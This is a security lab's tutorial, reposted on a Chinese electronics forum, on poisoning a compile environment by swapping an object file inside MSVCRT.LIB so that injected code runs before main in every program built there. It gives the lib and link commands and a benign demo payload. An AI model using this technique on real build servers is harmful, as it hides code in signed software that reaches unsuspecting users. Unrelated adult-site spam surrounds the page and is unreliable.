在线观看www成人影院-在线观看www日本免费网站-在线观看www视频-在线观看操-欧美18在线-欧美1级

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

MSVCRT.LIB技術(shù)的實現(xiàn)細(xì)節(jié)介紹

蛇矛實驗室 ? 來源:蛇矛實驗室 ? 2023-04-15 10:28 ? 次閱讀

1. 序言

供應(yīng)鏈攻擊是一種傳播間諜軟件的方式,一般通過產(chǎn)品軟件官網(wǎng)或軟件包存儲庫進(jìn)行傳播。通常來說,黑客會瞄準(zhǔn)部署知名軟件官網(wǎng)的服務(wù)器,篡改服務(wù)器上供普通用戶下載的軟件源代碼,將間諜軟件傳播給前往官網(wǎng)下載軟件的用戶。在實施攻擊時,有一種方式是通過污染上游廠商的編譯環(huán)境來攜帶攻擊者的惡意載荷。

在污染編譯環(huán)境時,對污染文件的選擇上,需要關(guān)注兩個重點,第一,要確保被污染分代碼能夠被編譯進(jìn)目標(biāo)程序,第二,需要足夠隱蔽,防止被安全工具檢測到。在Windows環(huán)境下,通過替換MSVC的C標(biāo)準(zhǔn)運(yùn)行庫的方式可以同時達(dá)到上訴兩種要求,下面詳細(xì)介紹該技術(shù)的實現(xiàn)細(xì)節(jié)。

2. 環(huán)境與工具

靶場Windows靶機(jī)

任意版本visualstudio

MSVC組件

3. MSVC組件

MSVC全稱Microsoft Visual C++,是微軟公司的免費(fèi)C++開發(fā)工具,具有集成開發(fā)環(huán)境,可提供編輯C語言,C++以及C++/CLI等編程語言。VC++集成了便利的除錯工具,特別是集成了微軟Windows視窗操作系統(tǒng)應(yīng)用程序接口(Windows API)、三維動畫DirectX API,Microsoft .NET框架。可以通過打開Visual Studio Installer查看MSVC組件文件目錄,需要污染的C標(biāo)準(zhǔn)運(yùn)行庫就是在該目錄下。

e0fe2cc6-dab8-11ed-bfe3-dac502259ad0.png

MSVC有多個版本,可以通過設(shè)置中的平臺工具集確認(rèn)自己當(dāng)前使用的版本,由于筆者當(dāng)前使用的版本是v143,即14.3。

e1332ce6-dab8-11ed-bfe3-dac502259ad0.png

4. C標(biāo)準(zhǔn)運(yùn)行庫-MSVCRT.LIB

1. 什么是MSVCRT.LIB

Visual Studio使用的CRT靜態(tài)庫文件為MSVCRT.LIB,CRT全程為C runtime Library,意義為Windows的C標(biāo)準(zhǔn)運(yùn)行庫,初始CRT的代碼位于多個庫文件中,大多數(shù)軟件發(fā)布時使用運(yùn)行庫的動態(tài)多線程RELEASE版本,該種方式在編譯時需要用到MSVCRT.LIB。

e1594da4-dab8-11ed-bfe3-dac502259ad0.png圖:MSVC的CRT初始化庫

如果對程序進(jìn)行調(diào)試,觀察程序的調(diào)用堆棧,會發(fā)現(xiàn)程序并非是從編寫的main函數(shù)開始執(zhí)行的,這是因為開發(fā)者編寫C代碼時,入口點雖然為main函數(shù),但是在程序運(yùn)行時,程序真正的入口點為mainCRTStartup函數(shù),在編譯時會將MSVCRT.LIB的內(nèi)容鏈接到開發(fā)者自定義代碼之前。

e1771546-dab8-11ed-bfe3-dac502259ad0.png

2. MSVCRT.LIB的路徑

上文中,我們介紹過MSVC組件的路徑,并確定使用的版本為14.3,MSVCRT.LIB文件及其源碼均在該目錄下。源碼文件在crtsrcvcruntime中,MSVCRT.LIB在lib文件下存在多種版本,本文使用x86下的MSVCRT.LIB進(jìn)行演示。

e1a214a8-dab8-11ed-bfe3-dac502259ad0.png

3. 程序的執(zhí)行流程

在程序運(yùn)行時,真正的入口點為mainCRTStartup函數(shù),該程序被定義在exe_main.cpp中,其源碼如下。

#define_SCRT_STARTUP_MAIN
#include"exe_common.inl"
extern"C"DWORD mainCRTStartup(LPVOID)
{
return__scrt_common_main();
}

可以看到mainCRTStartup調(diào)用了scrt_common_main,根據(jù)include我們可以知道scrt_common_main被定義在了exe_common.inl中,exe_common.inl的部分代碼如下。

static__declspec(noinline) int__cdecl __scrt_common_main_seh()
{
if(!__scrt_initialize_crt(__scrt_module_type::exe))
__scrt_fastfail(FAST_FAIL_FATAL_APP_EXIT);

boolhas_cctor = false;
__try
{
boolconstis_nested = __scrt_acquire_startup_lock();

if(__scrt_current_native_startup_state == __scrt_native_startup_state::initializing)
{
__scrt_fastfail(FAST_FAIL_FATAL_APP_EXIT);
}
elseif(__scrt_current_native_startup_state == __scrt_native_startup_state::uninitialized)
{
__scrt_current_native_startup_state = __scrt_native_startup_state::initializing;

if(_initterm_e(__xi_a, __xi_z) != 0)
return255;

_initterm(__xc_a, __xc_z);

__scrt_current_native_startup_state = __scrt_native_startup_state::initialized;
}
else
{
has_cctor = true;
}

__scrt_release_startup_lock(is_nested);

// If this module has any dynamically initialized __declspec(thread)
// variables, then we invoke their initialization for the primary thread
// used to start the process:
_tls_callback_type const* consttls_init_callback = __scrt_get_dyn_tls_init_callback();
if(*tls_init_callback != nullptr&& __scrt_is_nonwritable_in_current_image(tls_init_callback))
{
(*tls_init_callback)(nullptr, DLL_THREAD_ATTACH, nullptr);
}

// If this module has any thread-local destructors, register the
// callback function with the Unified CRT to run on exit.
_tls_callback_type const* consttls_dtor_callback = __scrt_get_dyn_tls_dtor_callback();
if(*tls_dtor_callback != nullptr&& __scrt_is_nonwritable_in_current_image(tls_dtor_callback))
{
_register_thread_local_exe_atexit_callback(*tls_dtor_callback);
}

//
// Initialization is complete; invoke main...
//

intconstmain_result = invoke_main();

//
// main has returned; exit somehow...
//

if(!__scrt_is_managed_app())
exit(main_result);

if(!has_cctor)
_cexit();

// Finally, we terminate the CRT:
__scrt_uninitialize_crt(true, false);
returnmain_result;
}
__except (_seh_filter_exe(GetExceptionCode(), GetExceptionInformation()))
{
// Note:We should never reach this except clause.
intconstmain_result = GetExceptionCode();

if(!__scrt_is_managed_app())
_exit(main_result);

if(!has_cctor)
_c_exit();

returnmain_result;
}
}



// This is the common main implementation to which all of the CRT main functions
// delegate (for executables; DLLs are handled separately).
static__forceinline int__cdecl __scrt_common_main()
{
// The /GS security cookie must be initialized before any exception handling
// targeting the current image is registered. No function using exception
// handling can be called in the current image until after this call:
__security_init_cookie();

return__scrt_common_main_seh();
}

觀察源碼我們可以看到scrt_common_main中調(diào)用了安全cookie與scrt_common_main_seh,scrt_common_main_seh中通過invoke_main到達(dá)用戶定義的main函數(shù),其調(diào)用如下圖所示。

e1d3847a-dab8-11ed-bfe3-dac502259ad0.png

上訴內(nèi)容執(zhí)行早于main函數(shù),所以污染MSVCRT.LIB文件可以確保注入的代碼必然被執(zhí)行,又因上訴函數(shù)調(diào)用非敏感函數(shù),通常安全工具不會對其進(jìn)行檢測,因此保證了隱蔽性。

5. 編譯環(huán)境污染

1. 文件編譯

在源碼中,我們挑選一個文件進(jìn)行代碼注入,本文選擇dyn_tls_init.c進(jìn)行演示,dyn_tls_init.c的源碼如下。

//
// dyn_tls_init.c
//
// Copyright (c) Microsoft Corporation. All rights reserved.
//
// This source file provides a fallback definition of __dyn_tls_init_callback,
// used whenever TLS initialization is not required.
//
// This relies on a feature of the C compiler known as "communal variables."
// This does not work in C++, and the linker's alternatename features is not
// sufficient here.
//
#include

#pragmawarning(disable: 4132) // const object should be initialized
constPIMAGE_TLS_CALLBACK __dyn_tls_init_callback;

PIMAGE_TLS_CALLBACK const* __cdecl __scrt_get_dyn_tls_init_callback()
{
return&__dyn_tls_init_callback;
}

添加一些自定義代碼

#include

#pragmawarning(disable: 4132) // const object should be initialized
constPIMAGE_TLS_CALLBACK __dyn_tls_init_callback;
add(intx,inty){
returnx + y;
}
PIMAGE_TLS_CALLBACK const* __cdecl __scrt_get_dyn_tls_init_callback()
{
intx = 1;
inty = 2;
intz = add(x, y);
return&__dyn_tls_init_callback;
}

關(guān)閉編譯優(yōu)化選項,此過程不可省略,CTRL+F7編譯;

e20fdd3a-dab8-11ed-bfe3-dac502259ad0.png

將編譯好的obj文件拷貝出來。

e2197fb6-dab8-11ed-bfe3-dac502259ad0.png

2. 清理原始o(jì)bj

obj文件就是c文件編譯之后產(chǎn)生的一種文件,一個c文件編譯之后只會產(chǎn)生一個obj文件,一個lib文件是obj文件的集合,當(dāng)然,其中還夾雜著其他一些輔助信息,目的是為了讓編譯器能夠準(zhǔn)確找到對應(yīng)的obj文件,這些文件一起通過AR打包。我們需要找到這些輔助信息完成LIB文件中obj目標(biāo)文件的替換。obj文件可以利用類似7z工具進(jìn)行解包,解壓后如下。

e24ca242-dab8-11ed-bfe3-dac502259ad0.png

在目錄中有兩個文本文件,里面記錄了obj文件對應(yīng)信息,搜索dyn_tls_init.obj,搜索到D:a_work1sIntermediatecrtvcstartupuildmdmsvcrt_kernel32msvcrt_kernel32.nativeprojobjrx86dyn_tls_init.obj,該值為dyn_tls_init.obj打包時文件的路徑。刪除MSVCRT.LIB文件中dyn_tls_init.obj的相關(guān)信息,刪除obj需要link.exe工具,該工具在MSVC的bin目錄下,刪除指令如下。

link-lib"XX:XXXmsvcrt.lib" -remove:D:a\_work1sIntermediatecrtvcstartupbuildmdmsvcrt_kernel32msvcrt_kernel32.nativeprojobjrx86dyn_tls_init.obj

3. 寫入新編譯obj

在清理完原始o(jì)bj文件后,將新編譯好的obj文件寫入lib文件,解壓lib文件后,可以發(fā)現(xiàn)除了文本文件外,還有一個文件夾名為D_,該文件夾代表obj文件打包前所在的磁盤盤符,也就是D盤。在通過MSVC的工具進(jìn)行打包時,會根據(jù)obj所在路徑創(chuàng)建對應(yīng)的文件,并將obj的路徑記錄到里面的文本文件中。也就是說新編譯好的文件不需要與原始o(jì)bj文件在相同目錄下,但是為了看起來更加完美,建議根據(jù)文本文件中的地址為編譯好的obj文件創(chuàng)建相同的路徑。寫入lib文件需要用到lib.exe工具,使用指令如下。

lib "XX:XXXmsvcrt.lib""D:a\_work1sIntermediatecrtvcstartupuildmdmsvcrt_kernel32msvcrt_kernel32.nativeprojobjrx86dyn_tls_init.obj”

寫入obj后,新建一個C/C++的項目,隨意編寫一些代碼。

e2771db0-dab8-11ed-bfe3-dac502259ad0.png

編譯后使用反匯編工具查看main之前的代碼,發(fā)現(xiàn)寫入dyn_tls_init.obj的功能已經(jīng)被編譯到工程中,反匯編代碼如下。

call___scrt_release_startup_lock
pop ecx
callsub_401CD0
mov esi, eax
xoredi, edi
cmp [esi], edi
jz shortloc_401783
push esi
call___scrt_is_nonwritable_in_current_image
pop ecx
testal, al
jz shortloc_401783
mov esi, [esi]
push edi
push 2
push edi
mov ecx, esi
callds:___guard_check_icall_fptr
callesi
callsub_401D0B
mov esi, eax
cmp [esi], edi
jz shortloc_4017A1
push esi
call___scrt_is_nonwritable_in_current_image
pop ecx
testal, al
jz shortloc_4017A1
push dword ptr [esi] ; Callback
call_register_thread_local_exe_atexit_callback
pop ecx
call_get_initial_narrow_environment
mov edi, eax
call__p___argv
mov esi, [eax]
call__p___argc
push edi ; envp
push esi ; argv
push dword ptr [eax] ; argc
call_main
##注入的內(nèi)容
#sub_401CD0
pushebp
movebp, esp
subesp, 0Ch
mov[ebp+var_8], 1
mov[ebp+var_4], 2
moveax, [ebp+var_4]
pusheax
movecx, [ebp+var_8]
pushecx
callsub_401D00
addesp, 8
mov[ebp+var_C], eax
moveax, offsetunk_405380
movesp, ebp
popebp
retn
#sub_401D00
pushebp
movebp, esp
moveax, [ebp+arg_0]
addeax, [ebp+arg_4]
popebp
retn
endp

6. 總結(jié)

通過上訴例子可以看出,污染CRT靜態(tài)庫文件的方式簡單易用,且具有很高的隱蔽性,當(dāng)攻陷對方編譯服務(wù)器時,該方式危害極大,因其與源碼一同被編譯到項目中,會攜帶合法簽名。希望在大家在了解其工作原理后,不僅收獲了一種新的代碼劫持技能,在分析惡意軟件時也多了一個思路。

丈八網(wǎng)安蛇矛實驗室成立于2020年,致力于安全研究、攻防解決方案以及靶場仿真復(fù)現(xiàn)等相關(guān)方向。團(tuán)隊核心成員均由從事安全行業(yè)10余年經(jīng)驗的安全專家組成,團(tuán)隊目前成員涉及紅藍(lán)對抗、滲透測試、逆向破解、病毒分析、工控安全以及免殺等相關(guān)領(lǐng)域。





審核編輯:劉清

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報投訴
  • CRT技術(shù)
    +關(guān)注

    關(guān)注

    0

    文章

    5

    瀏覽量

    6678
  • 匯編語言
    +關(guān)注

    關(guān)注

    14

    文章

    410

    瀏覽量

    36592
  • C++語言
    +關(guān)注

    關(guān)注

    0

    文章

    147

    瀏覽量

    7234
  • CLI
    CLI
    +關(guān)注

    關(guān)注

    1

    文章

    80

    瀏覽量

    8739

原文標(biāo)題:供應(yīng)鏈攻擊之編譯環(huán)境

文章出處:【微信號:蛇矛實驗室,微信公眾號:蛇矛實驗室】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。

收藏 人收藏

    評論

    相關(guān)推薦
    熱點推薦

    巧用命令實現(xiàn)PG LIB的增量式生成

    Liberty(俗稱LIB和DB),是后端設(shè)計中重要的庫邏輯描述文件,這里邊包含了除過physical(當(dāng)然也有一點點涉及)以外所有的信息,對整個后端設(shè)計實現(xiàn)有非常大的作用。
    的頭像 發(fā)表于 11-03 12:56 ?1198次閱讀
    巧用命令<b class='flag-5'>實現(xiàn)</b>PG <b class='flag-5'>LIB</b>的增量式生成

    嵌入式系統(tǒng)設(shè)計時需要注意的技術(shù)要點和實現(xiàn)細(xì)節(jié)有哪些?

    為什么需要safe mode?嵌入式系統(tǒng)設(shè)計時需要注意的技術(shù)要點和實現(xiàn)細(xì)節(jié)有哪些?
    發(fā)表于 04-25 08:49

    分立器件的實現(xiàn)細(xì)節(jié)

    ?概述負(fù)載開關(guān)電路日常應(yīng)用比較廣泛,主要用來控制后級負(fù)載的電源開關(guān)。此功能可以直接用IC也可以用分立器件搭建,分立器件主要用PMOS加三極管實現(xiàn)。本文主要討論分立器件的實現(xiàn)細(xì)節(jié)。電路分析如下圖所示R5模擬后級負(fù)載,Q1為開關(guān),
    發(fā)表于 10-28 08:28

    Linux下的lib文件故障解決實例

    Linux下的lib文件故障解決實例
    發(fā)表于 09-11 08:48 ?4次下載
    Linux下的<b class='flag-5'>lib</b>文件故障解決實例

    時序分析基本概念介紹——時序庫Lib,除了這些你還想知道什么?

    時序分析基本概念介紹——時序庫Lib。用于描述物理單元的時序和功耗信息的重要庫文件。lib庫是最基本的時序庫,通常文件很大,分為兩個部分。
    的頭像 發(fā)表于 12-15 17:11 ?1.3w次閱讀
    時序分析基本概念<b class='flag-5'>介紹</b>——時序庫<b class='flag-5'>Lib</b>,除了這些你還想知道什么?

    Cadence小技巧:利用lib功能免除新ADE的設(shè)置

    Cadence小技巧有很多,今天就來介紹一種利用lib功能免除新ADE的設(shè)置的辦法。詳細(xì)的內(nèi)容請看文章。
    的頭像 發(fā)表于 02-18 15:00 ?8629次閱讀
    Cadence小技巧:利用<b class='flag-5'>lib</b>功能免除新ADE的設(shè)置

    伯克利可擴(kuò)展軟件交換機(jī)的細(xì)節(jié)介紹

    在這里,我們介紹了BESS的一些技術(shù)細(xì)節(jié),然后演示了如何在30分鐘內(nèi)實現(xiàn)自定義虛擬交換機(jī)。
    的頭像 發(fā)表于 10-30 06:05 ?3330次閱讀

    使用Lib實現(xiàn)24C02的程序資料免費(fèi)下載

    本文檔的主要內(nèi)容詳細(xì)介紹的是使用Lib實現(xiàn)24C02的程序資料免費(fèi)下載
    發(fā)表于 05-06 17:11 ?12次下載
    使用<b class='flag-5'>Lib</b><b class='flag-5'>實現(xiàn)</b>24C02的程序資料免費(fèi)下載

    keil和IAR中lib庫文件的生成和使用

    lib靜態(tài)庫的使用可以簡化項目開發(fā)流程,提高開發(fā)效率,本文詳細(xì)介紹了在keil和IAR環(huán)境下lib庫的生成和使用。
    發(fā)表于 12-03 11:51 ?15次下載
    keil和IAR中<b class='flag-5'>lib</b>庫文件的生成和使用

    lib-zjson C++版JSON庫

    ./oschina_soft/gitee-lib-zjson.zip
    發(fā)表于 06-17 09:58 ?0次下載
    <b class='flag-5'>lib</b>-zjson C++版JSON庫

    AN075 基于MDK實現(xiàn)Lib庫調(diào)用方案介紹

    AN075 基于MDK實現(xiàn)Lib庫調(diào)用方案介紹
    發(fā)表于 03-01 18:56 ?0次下載
    AN075 基于MDK<b class='flag-5'>實現(xiàn)</b>的<b class='flag-5'>Lib</b>庫調(diào)用方案<b class='flag-5'>介紹</b>

    時序分析基本概念介紹—時序庫Lib

    今天主要介紹的時序概念是時序庫lib,全稱liberty library format(以? lib結(jié)尾),
    的頭像 發(fā)表于 07-07 17:15 ?3993次閱讀
    時序分析基本概念<b class='flag-5'>介紹</b>—時序庫<b class='flag-5'>Lib</b>

    e2 studio創(chuàng)建lib文件及使用

    目錄 一、 簡介 二、 制作lib文件 三、 調(diào)用庫函數(shù) 四、 總結(jié) 一、簡介 工程師在開發(fā)過程中時常會因為各種原因,想要把部分代碼封裝成庫函數(shù)。e 2 studio自帶建立庫函數(shù)工程的功能,本文
    的頭像 發(fā)表于 07-12 12:05 ?1564次閱讀
    e2 studio創(chuàng)建<b class='flag-5'>lib</b>文件及使用

    介紹一種測試標(biāo)準(zhǔn)單元lib的方法

    不知道大家有沒有想過,拿到手一個標(biāo)準(zhǔn)單元的lib,它里面的那些參數(shù)是怎么得出來的?我們做出來的芯片成品,真的會按lib里描述的那樣,timing的值分毫不差嗎?
    的頭像 發(fā)表于 12-06 15:26 ?752次閱讀

    e2 studio創(chuàng)建lib文件及使用

    e2 studio創(chuàng)建lib文件及使用
    的頭像 發(fā)表于 01-18 08:06 ?975次閱讀
    e2 studio創(chuàng)建<b class='flag-5'>lib</b>文件及使用
    主站蜘蛛池模板: 在线播放12p| 激情在线视频 | 丁香花五月婷婷开心 | 女bbbbxxxx视频 | 2021国产成人精品国产 | 天天拍天天射 | 啪啪黄色片 | 国产精品久久久久久影院 | 男女爱爱视频免费看 | 六月婷婷啪啪 | 四虎永久在线观看视频精品 | 五月天福利视频 | 欧美成人免费观看bbb | 拍拍拍拍拍拍拍无挡大全免费 | 色播影院性播免费看 | 久久天天躁狠狠躁夜夜2020一 | 黄色特级录像 | 国产成人精品日本亚洲专 | 天天操综合视频 | 久久久综合色 | 伊人色综合久久天天爱 | 色噜噜中文网 | 稀缺资源呦视频在线网站 | 五月婷婷社区 | 天天视频国产精品 | 你懂的在线免费视频 | 天堂资源在线种子资源 | 中文字幕在线观看你懂的 | 91极品反差婊在线观看 | 国产亚洲人成a在线v网站 | 九色在线播放 | 天天做人人爱夜夜爽2020毛片 | 曰本aaaaa毛片午夜网站 | 成人亚洲精品 | 国产欧美久久久精品影院 | 嗯!啊!使劲用力在线观看 | 二级黄的全免费视频 | 五月婷婷丁香综合 | 久久久久国产精品免费看 | 四虎影院永久网址 | 亚洲美女爱爱 |